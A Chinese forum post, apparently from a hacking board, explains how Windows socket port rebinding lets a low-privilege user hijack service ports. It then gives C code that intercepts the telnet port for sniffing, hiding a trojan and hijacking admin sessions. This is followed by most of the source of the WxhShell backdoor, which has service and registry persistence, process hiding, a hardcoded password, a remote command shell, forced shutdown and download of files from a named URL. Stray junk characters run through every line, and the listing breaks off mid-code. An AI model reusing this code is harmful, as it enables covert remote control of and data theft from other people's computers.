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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: A,Wwt [Qw  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  _zvCc%  
%@k@tD6  
  saddr.sin_family = AF_INET; l=GcgxD+"d  
MzM"r"u  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); o^&u?F9  
4>-'wMW")  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Vzn0;  
@tGju\E"o  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7jL+c~  
ePv3M&\J  
  这意味着什么?意味着可以进行如下的攻击: WXV(R,*Tc  
sEkfmB2J/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %IL] Wz<  
aMe]6cWHV>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z$4g9  
,R#pQ 4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 8Wqh 8$  
K|,P  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =(2y$,6g?  
wI8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 u1a0w  
I! eu|_cF  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 IO3p&sJ/  
cvxYuP~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 c%+/TO  
;)$bhNFHx  
  #include o&0fvCpW  
  #include : fMQ,S0  
  #include 6B`XHdCq  
  #include    MdXOH$ ps  
  DWORD WINAPI ClientThread(LPVOID lpParam);   7^)8DwAl  
  int main() -<H\VT%98  
  {  bi/ AQ^  
  WORD wVersionRequested; Z.'j7(tu  
  DWORD ret; H1>~,zc>E  
  WSADATA wsaData; {*mf Is  
  BOOL val; 7+ +Fak  
  SOCKADDR_IN saddr; K</EVt,U~  
  SOCKADDR_IN scaddr; #N Qpr  
  int err; ]8@s+ N  
  SOCKET s; &n$kVNE  
  SOCKET sc; Iue}AGxu:{  
  int caddsize; nilis-Bk_  
  HANDLE mt; !iv6k~.e'2  
  DWORD tid;   _|+}4 ap  
  wVersionRequested = MAKEWORD( 2, 2 ); /Js A[}.6  
  err = WSAStartup( wVersionRequested, &wsaData ); kZ<0|b  
  if ( err != 0 ) { yX 9 .yq  
  printf("error!WSAStartup failed!\n"); IR JN  
  return -1; la4 #2>#WZ  
  } S:B$c>  
  saddr.sin_family = AF_INET; 6`Hd)T5{w  
   gxnIur)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I;1W6uD=  
|BGB60}]f  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O|K-UTWH%  
  saddr.sin_port = htons(23); Ey|{yUmU+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &3gC&b^i  
  { CWT#1L=  
  printf("error!socket failed!\n"); _D+pJ{@W  
  return -1; g y5^JL  
  } )j,Y(V$P  
  val = TRUE; de=){.7Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^AhV1rBB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ~:FF"T>  
  { xVxN @[  
  printf("error!setsockopt failed!\n"); s.|OdC>U =  
  return -1; ly[j=vBV  
  } {%wF*?gk  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =hRo#]{(K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %_Q+@9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 [}$jO,H5r  
-al\* XDz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) '+EtnWH s  
  { R?{f:,3R  
  ret=GetLastError(); r=6N ZoZ  
  printf("error!bind failed!\n"); 8c`E B-y  
  return -1; [#@\A]LO  
  } Es<& 6  
  listen(s,2); ;*%3J$T+  
  while(1) eI,'7u4q  
  { srlxp_^  
  caddsize = sizeof(scaddr); T.(C`/VM  
  //接受连接请求 A_e&#O  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); r 4 $<,~  
  if(sc!=INVALID_SOCKET) rEHlo[7^  
  { e"#QUc(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); niA>afo  
  if(mt==NULL) ($nQmr;t  
  { a = *'  
  printf("Thread Creat Failed!\n"); Ztl?*zL  
  break; o$QC:%[#  
  } A"tE~m;"7  
  } KvjsibI/Y  
  CloseHandle(mt); S>Z07d6&  
  }  g^l~AR  
  closesocket(s); !78P+i  
  WSACleanup(); o75l&`  
  return 0; ^'%Q>FVb  
  }   r01u3!  
  DWORD WINAPI ClientThread(LPVOID lpParam) shgZru  
  { ; ,Nvg6c  
  SOCKET ss = (SOCKET)lpParam; ~6A;H$dr  
  SOCKET sc; Sw.k,p*r  
  unsigned char buf[4096]; _u3%16,o  
  SOCKADDR_IN saddr; 2P/ Sq  
  long num; F/SYmNp  
  DWORD val; _Z>n y&   
  DWORD ret; z0H+Or  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Qz4eQlWhp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   B?%e-xV-  
  saddr.sin_family = AF_INET; /IQ$[WR cx  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Wr3z%1  
  saddr.sin_port = htons(23); |.z4VJi4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W7W(jMH  
  { BZQ"[-V{  
  printf("error!socket failed!\n"); 9!_JV;2  
  return -1; |(<A)C  
  } vA"LV+@  
  val = 100; ."Kp6s`k  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;il+C!6zpf  
  { A]laS7Q  
  ret = GetLastError(); 00B,1Q HP  
  return -1; 82)%`$yZw[  
  } *ESi~7;#  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]GT+UX  
  { KV8Ok  
  ret = GetLastError(); 5O(U1 *  
  return -1; %I=/ y  
  } u4tv= +jh  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Tn"@u&P *  
  { 7{tU'`P>  
  printf("error!socket connect failed!\n"); wg+[T;0S  
  closesocket(sc); j #~ S"t  
  closesocket(ss); XRmE  
  return -1; \_(|$Dhq  
  } m*wDJEKo  
  while(1) Q#F9&{'l  
  { Aj8zFt ]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]eUD3WUe>q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4T6: C?V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s)jNP\-  
  num = recv(ss,buf,4096,0); 75pn1*"gQ  
  if(num>0) *JRM(V+IEv  
  send(sc,buf,num,0); j0^1BVcj  
  else if(num==0) ZkWMo= vL  
  break; "574%\#4z  
  num = recv(sc,buf,4096,0); #qu;{I#W3  
  if(num>0) ]SAGh|+xl  
  send(ss,buf,num,0); ;VzdlCZ@  
  else if(num==0)  wh#IQ.E-  
  break; |!81M|H  
  } U2r[.Ru  
  closesocket(ss); ? o&goiM  
  closesocket(sc); &_q8F,I \<  
  return 0 ; (}5};v  
  } K5RgWP  
]s0GAp"  
D9  Mst6  
========================================================== # 0d7  
<Mndr 8 H  
下边附上一个代码,,WXhSHELL ~z^49Ys:  
1+"d-`'Z2O  
========================================================== #)#J`s1R  
X(O:y^sX}  
#include "stdafx.h" T_q M@/f  
e7y,zcbv  
#include <stdio.h> SQ*%d.1  
#include <string.h> ._]*Y`5)d  
#include <windows.h> m70AWG  
#include <winsock2.h> Aj]/A  
#include <winsvc.h> +f$ {r7  
#include <urlmon.h> 1,:QrhC  
t%%zuqF`  
#pragma comment (lib, "Ws2_32.lib")  f,kV  
#pragma comment (lib, "urlmon.lib") >7)QdaB  
_R^ZXtypd  
#define MAX_USER   100 // 最大客户端连接数 aeVd.`lxM  
#define BUF_SOCK   200 // sock buffer 1Q=L/k eP  
#define KEY_BUFF   255 // 输入 buffer /oZvm   
&1Y7Ne  
#define REBOOT     0   // 重启 aTfc>A;  
#define SHUTDOWN   1   // 关机 .:XXc  
g\9&L/xDN  
#define DEF_PORT   5000 // 监听端口 m7`S@qG  
wy^mh.= UX  
#define REG_LEN     16   // 注册表键长度 vTo+jQs^  
#define SVC_LEN     80   // NT服务名长度 bxPJ5oT  
OLWn0  
// 从dll定义API PdEPDyFkh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :fDzMD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KMG}VG   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0}YadNb7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2kOaKH[(q  
 k{'<J(Hb  
// wxhshell配置信息 mq}UUk@  
struct WSCFG { uP$i2Cy  
  int ws_port;         // 监听端口 h+7U'+|%A  
  char ws_passstr[REG_LEN]; // 口令 7L!}F;yT  
  int ws_autoins;       // 安装标记, 1=yes 0=no <Qr*!-Kc6  
  char ws_regname[REG_LEN]; // 注册表键名 PT~F ^8,)  
  char ws_svcname[REG_LEN]; // 服务名 oB@)!'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cuI&Q?+c}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y<~(}xsHh  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 X40JCQx{+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1;?w#/&t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" oGyoU#z#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3UF^Ff<wo  
EuA352x  
}; ?9 W2ax-4  
eoFG$X/PO  
// default Wxhshell configuration C8i4z  
struct WSCFG wscfg={DEF_PORT, \),zDO+  
    "xuhuanlingzhe", V)4?y9xZv  
    1, [vz2< genn  
    "Wxhshell", ?)[=>Kp  
    "Wxhshell", I. Xbowl  
            "WxhShell Service", Hq~SRc~  
    "Wrsky Windows CmdShell Service", ?r*}1WsH  
    "Please Input Your Password: ", v9!] /]U^  
  1, *>!-t   
  "http://www.wrsky.com/wxhshell.exe", 1H\5E~X   
  "Wxhshell.exe" J*zQ8\f=}  
    }; uhv_'Q  
5!wjYQt3  
// 消息定义模块 cmYzS6f,7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; VD $PoP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gv&Hu$ ca  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )Jw$&%/{1  
char *msg_ws_ext="\n\rExit."; Y9 Bk$$#\  
char *msg_ws_end="\n\rQuit."; xT( pB-R  
char *msg_ws_boot="\n\rReboot..."; /XA*:8~!  
char *msg_ws_poff="\n\rShutdown..."; fh66Gn,  
char *msg_ws_down="\n\rSave to "; 4#t=%}  
Gm> =s  
char *msg_ws_err="\n\rErr!"; I~E&::,  
char *msg_ws_ok="\n\rOK!"; &|h9L'mr  
t8;nP[`  
char ExeFile[MAX_PATH]; rWqr-"0S.  
int nUser = 0; zG c ]*R  
HANDLE handles[MAX_USER]; "uj@!SEs`?  
int OsIsNt; -<AGCiLz  
dj4a)p|YN  
SERVICE_STATUS       serviceStatus; GO*D4<#u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; In;P33'p  
 XF>!~D  
// 函数声明 5Q:49S47  
int Install(void); >]A#_p  
int Uninstall(void); >6W#v[  
int DownloadFile(char *sURL, SOCKET wsh); #s#BYbF  
int Boot(int flag); *5\'$;Rg  
void HideProc(void); B/mfm 7  
int GetOsVer(void); D(Q]ddUi'  
int Wxhshell(SOCKET wsl); b7">IzAe  
void TalkWithClient(void *cs); UZ6y3%G3^  
int CmdShell(SOCKET sock); (=Oo=8\  
int StartFromService(void); .]a`-Ofn  
int StartWxhshell(LPSTR lpCmdLine); 2|(lKFkQ  
"\]]?&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }7K~-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [\%a7ji#  
}[PC YnS  
// 数据结构和表定义 PBcb*7W  
SERVICE_TABLE_ENTRY DispatchTable[] = /n:Q>8^n'W  
{ bPkz=^-  
{wscfg.ws_svcname, NTServiceMain}, pB]*cd B?  
{NULL, NULL} T11>&K)  
}; Q~n%c7  
_KBa`lhE  
// 自我安装 cBU3Q<^  
int Install(void) hBifn\dFr  
{ 'c]Pm,Ls  
  char svExeFile[MAX_PATH]; 9l|*E  
  HKEY key; L s3r( Tf  
  strcpy(svExeFile,ExeFile); &m]jYvRc  
;?TM_%>  
// 如果是win9x系统,修改注册表设为自启动 V&/Cb&~Uw  
if(!OsIsNt) { e~9g~k]s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~BE=z:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :~ &#9  
  RegCloseKey(key); |Ho} D~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &' y}L'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RSw; b.t7  
  RegCloseKey(key); 7osHKO<?2  
  return 0; K(?p]wh  
    } M"msLz  
  } @3U=kO(^+\  
} 'F:Tv[qx  
else { gNkBHwv  
[M:<!QXw  
// 如果是NT以上系统,安装为系统服务 ?%D nIl>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z^%HDB9^  
if (schSCManager!=0) Y:Jgr&*,z  
{ dQAF;L  
  SC_HANDLE schService = CreateService NF-@Q@  
  ( 4af^SZ )l  
  schSCManager, J$T(p%  
  wscfg.ws_svcname, G,1g~h%I$  
  wscfg.ws_svcdisp, F7]8*[u  
  SERVICE_ALL_ACCESS, Cy)QS{YX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zyt >(A1  
  SERVICE_AUTO_START, >7 cDfv"  
  SERVICE_ERROR_NORMAL, {d)L0KXK  
  svExeFile, ;E!] /oY<  
  NULL, gO@LJ  
  NULL, mgodvX  
  NULL, ?+%bEZ`  
  NULL, N] pw7S%  
  NULL 2r]o>X  
  ); [L ' >  
  if (schService!=0) F ^m;xy  
  { q]s_hWWv  
  CloseServiceHandle(schService); N0ef5J JM`  
  CloseServiceHandle(schSCManager); ^V]IPGV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \>{;,f  
  strcat(svExeFile,wscfg.ws_svcname); ZqjLZ9?q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $U)nrn i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pTncx%!W5  
  RegCloseKey(key); Jc`tOp5  
  return 0; `}FZ;q3DP  
    } _~}2@&*G"  
  } SO<9?uk.  
  CloseServiceHandle(schSCManager); x`2du/ C  
} qG]0z_dPE~  
} @%fL*^yr;C  
a(G}<  
return 1; h2i1w^f  
} k[f_7lJ2  
PY&mLux%  
// 自我卸载 NK:! U  
int Uninstall(void) JBLh4c3  
{ Z.s0ddM s  
  HKEY key; 2lqy<o  
WSGho(\  
if(!OsIsNt) { ~)6EH`-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y.#fpG'  
  RegDeleteValue(key,wscfg.ws_regname); }KEr@h,N  
  RegCloseKey(key); Q-1 Xgw!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j[dgY1yE:  
  RegDeleteValue(key,wscfg.ws_regname); -D%mVe)&+  
  RegCloseKey(key); u*rHKZ9i  
  return 0; Nx E=^ v  
  } k^zU;  
} cIrc@  
} +*aC \4w  
else { 4Tb"+Y}  
wti  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >5D;uTy u  
if (schSCManager!=0) ViG>gMGv  
{ GR_caP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %36@1l-N  
  if (schService!=0) _>8Q{N\- {  
  { $I4Wl:(~}  
  if(DeleteService(schService)!=0) { U"~W3vwJ  
  CloseServiceHandle(schService); KleiX7  
  CloseServiceHandle(schSCManager); 5 Yww,s  
  return 0; io@f5E+?  
  } *.Z~f"SZy*  
  CloseServiceHandle(schService); 6qWWfm/6  
  } V7cr%tY5  
  CloseServiceHandle(schSCManager); mU.c!|Y  
} Dv&K3^~Rfb  
} p%K(dA  
t6lwKK  
return 1; x0)WrDb  
} r\)bN4-g  
"b%FkD  
// 从指定url下载文件 kv;P2:"|  
int DownloadFile(char *sURL, SOCKET wsh) 77ztDQDtM  
{ Ds#BfP7a  
  HRESULT hr; ,J:Ro N_:  
char seps[]= "/"; q>5j (,6F  
char *token; cS Qb3}a\  
char *file; Fh|{ib  
char myURL[MAX_PATH]; yhs:.h  
char myFILE[MAX_PATH]; OB*V4Yv  
{<?8Y  
strcpy(myURL,sURL); !(Y,2{  
  token=strtok(myURL,seps); xn,9Wj-  
  while(token!=NULL) ?nq%'<^^  
  { @[Q`k=h$  
    file=token; ydAiH*>  
  token=strtok(NULL,seps); `PSjk F(  
  } 2<n@%'OQp  
aPQxpK?  
GetCurrentDirectory(MAX_PATH,myFILE); qv'w 7T  
strcat(myFILE, "\\"); [+!&iN  
strcat(myFILE, file); I0!]J{  
  send(wsh,myFILE,strlen(myFILE),0); $g/h=w@  
send(wsh,"...",3,0); ?nWzJ5w3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3xiDt?&H  
  if(hr==S_OK) g(,^'; j  
return 0; T k@~w  
else 4S[UJ%  
return 1; e6^}XRyf  
4IvT}Us#+  
} bvZ:5M  
 G8!|Lo  
// 系统电源模块 E%W w)P  
int Boot(int flag) &~2I Fp  
{ =G" ney2  
  HANDLE hToken; K9y~ e  
  TOKEN_PRIVILEGES tkp; TPak,h(1  
ww #kc!'  
  if(OsIsNt) { C\B4Uu6q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j-.Y!$a%6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |q z%6w=  
    tkp.PrivilegeCount = 1; `#vbV/sM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; GR4DxlX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ZY@ntV?  
if(flag==REBOOT) { P(/eVD#v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ps{vN ~}  
  return 0; a6 1!j>Kx  
} O;|Cu7WU  
else { kX8NRPW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &b7_%,Bx4  
  return 0; |(.%`BTD  
} OA(.&5]  
  } F\L!.B  
  else { x":o*(rSQ  
if(flag==REBOOT) { "Mhn?PTq  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z!7xRy  
  return 0; y%spI/(  
} &;=/^~EG  
else { _A] )q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ic"8'Rwb  
  return 0; H Ix%c5^  
} ~_c1h@  
} n.z,-H17  
'+27_j  
return 1; D9?.Ru0.  
} R=F_U  
0U H]  
// win9x进程隐藏模块 \4^rb?B  
void HideProc(void) Z# bO}!  
{ D W^Zuu/)  
,wXmJ)/WZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -a&<Un/  
  if ( hKernel != NULL ) Jazgn5  
  { :tI F*pC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R&a$w8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {]Hv*{ ]  
    FreeLibrary(hKernel); /-G_0 A2wF  
  } ai-rF^ehC  
,&qC R sw  
return; eZN"t~\rX  
} "H<us?r{  
k)|.<  
// 获取操作系统版本 ;i'[c`  
int GetOsVer(void) L+(ng  
{ zsJermF,O  
  OSVERSIONINFO winfo; _B&Lyg !J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !!H"B('m  
  GetVersionEx(&winfo); (xRcG+3];  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) : -d_  
  return 1; ~x#TfeU]  
  else "=T &SY  
  return 0; d Rnf  
} \Z&Nd;o   
4=MjyH|[Jx  
// 客户端句柄模块 CgrQ" N5  
int Wxhshell(SOCKET wsl) 8/BMFRJ  
{ pDSNI2  
  SOCKET wsh; D fzsA4  
  struct sockaddr_in client; \6JOBR  
  DWORD myID; -!:5jfT"  
#mA(x@:*  
  while(nUser<MAX_USER) OTdijQLY  
{ ]| +M0:2?  
  int nSize=sizeof(client); 9|#cjHf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kuV7nsXiQ  
  if(wsh==INVALID_SOCKET) return 1; ~IS8DW$;  
fyA-*)oHv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kMMgY?  
if(handles[nUser]==0) $i5J}  
  closesocket(wsh); 7K:V<vX5  
else HP1QI/*v  
  nUser++; (r kg0  
  } X3X_=qzc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]p 3f54!  
ow.!4kx{d  
  return 0; wz*iwd-  
} (Y@T5-!D  
O6R)>Y4  
// 关闭 socket ElV!C}g  
void CloseIt(SOCKET wsh) 5;UIz@BJ  
{ "8{A4N1B5  
closesocket(wsh); }: HG)V  
nUser--; .'gm2  
ExitThread(0); x9 %=d  
} 4^F%bXJ)  
N+rU|iMa.  
// 客户端请求句柄 '#Au~5  
void TalkWithClient(void *cs) =I@t%Y  
{ "4)N]Nj  
"+- 'o+  
  SOCKET wsh=(SOCKET)cs; K+F"VW*?  
  char pwd[SVC_LEN]; 0)332}Oh  
  char cmd[KEY_BUFF]; z qo0P~  
char chr[1];  p;w&}l{{  
int i,j; +*:mKx@Nw  
/[.V(K D  
  while (nUser < MAX_USER) { VNHce H  
: ~vodh  
if(wscfg.ws_passstr) { At4\D+J{Vs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1x:W 3.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9Yv:6@.F  
  //ZeroMemory(pwd,KEY_BUFF); VP~2F E  
      i=0; d?2ORr|m=  
  while(i<SVC_LEN) { EIg~^xK  
'Oue 1[  
  // 设置超时 3I_^F&T  
  fd_set FdRead; gHrs|6q9  
  struct timeval TimeOut; ^H3N1eC,`F  
  FD_ZERO(&FdRead); c MXv  
  FD_SET(wsh,&FdRead); :*M?RL@j  
  TimeOut.tv_sec=8; m-vn5OX  
  TimeOut.tv_usec=0; K)7T]z`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l< f9$l^U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -AdDPWn  
/I=|;FGq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X8$Mzeq  
  pwd=chr[0]; >u&D@7~c  
  if(chr[0]==0xd || chr[0]==0xa) { .d]/:T -0  
  pwd=0; Fo.Y6/}  
  break; =9GA LoGL  
  } o utJ/~9;  
  i++; ?,>3uD#  
    } lFjz*g2'  
7__[=)(b2X  
  // 如果是非法用户,关闭 socket YsVmU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N}?|ik  
} /Sw~<B!8N  
EAGvP&~P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hv|a8=U!R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [iub}e0  
S4x9k{Xn  
while(1) { $r/$aq=K  
}qn>#ETi  
  ZeroMemory(cmd,KEY_BUFF); .N X9A b  
G% tlV&In  
      // 自动支持客户端 telnet标准   '[ t.  
  j=0; ,a?)O6?/  
  while(j<KEY_BUFF) { gjDNl/r/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MA`nFkVK  
  cmd[j]=chr[0]; eiKY az  
  if(chr[0]==0xa || chr[0]==0xd) { 'Qy6m'esW  
  cmd[j]=0; j=l2\W#}  
  break; J\L'HIs  
  } Vp/XVyL}R  
  j++; i%K6<1R;y{  
    } 3^7+fxYWo  
EZ)b E9  
  // 下载文件 An. A1y  
  if(strstr(cmd,"http://")) { xE:jcA d$}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1=R$ RI  
  if(DownloadFile(cmd,wsh)) 4=L>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); L|CdTRgRCB  
  else kpgA2u7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n/_q  
  } .G{cx=;  
  else { 3K &637  
W{F)YyR{.  
    switch(cmd[0]) { z9aR/:W}  
  |]?f6^ |4  
  // 帮助 4YfM.~ 6  
  case '?': { T+Z[&|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J4T"O<i$58  
    break; >3!~U.AA'x  
  } o[ZjXLJzV  
  // 安装 ,HZ%q]*:~  
  case 'i': { |?T=4~b  
    if(Install()) ihrf/b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fDy*dp4z  
    else DBAyc#&#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hr?lRaV  
    break; f .O^R~,  
    } Kb%Y%j  
  // 卸载 =X R~I  
  case 'r': { MB)<@.A0  
    if(Uninstall()) )U %`7(bN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !85bpQ.  
    else b Hr^_ogN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YV.' L  
    break; *yhA8fJ  
    } Z@zo~*o  
  // 显示 wxhshell 所在路径 v"k ? e  
  case 'p': { ^*ZaqMA  
    char svExeFile[MAX_PATH]; xX<f4H\'  
    strcpy(svExeFile,"\n\r"); "\o#YC  
      strcat(svExeFile,ExeFile); w6vbYPCN  
        send(wsh,svExeFile,strlen(svExeFile),0); KuJ)alD;1  
    break; }4C_r'd6  
    }  S_P&Fv  
  // 重启 <=.6Z*x+  
  case 'b': { <2pp6je\0s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6Z_V,LD9L  
    if(Boot(REBOOT)) a|t~&\@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :nIMZRJ_!E  
    else { h#YO;m2wd  
    closesocket(wsh); RTmp$lV  
    ExitThread(0); !n-Sh<8  
    } KhR3$|fH<  
    break; ",/6bs#$  
    } 4S26TgY  
  // 关机 AG,><UP  
  case 'd': { o +$v0vg%T  
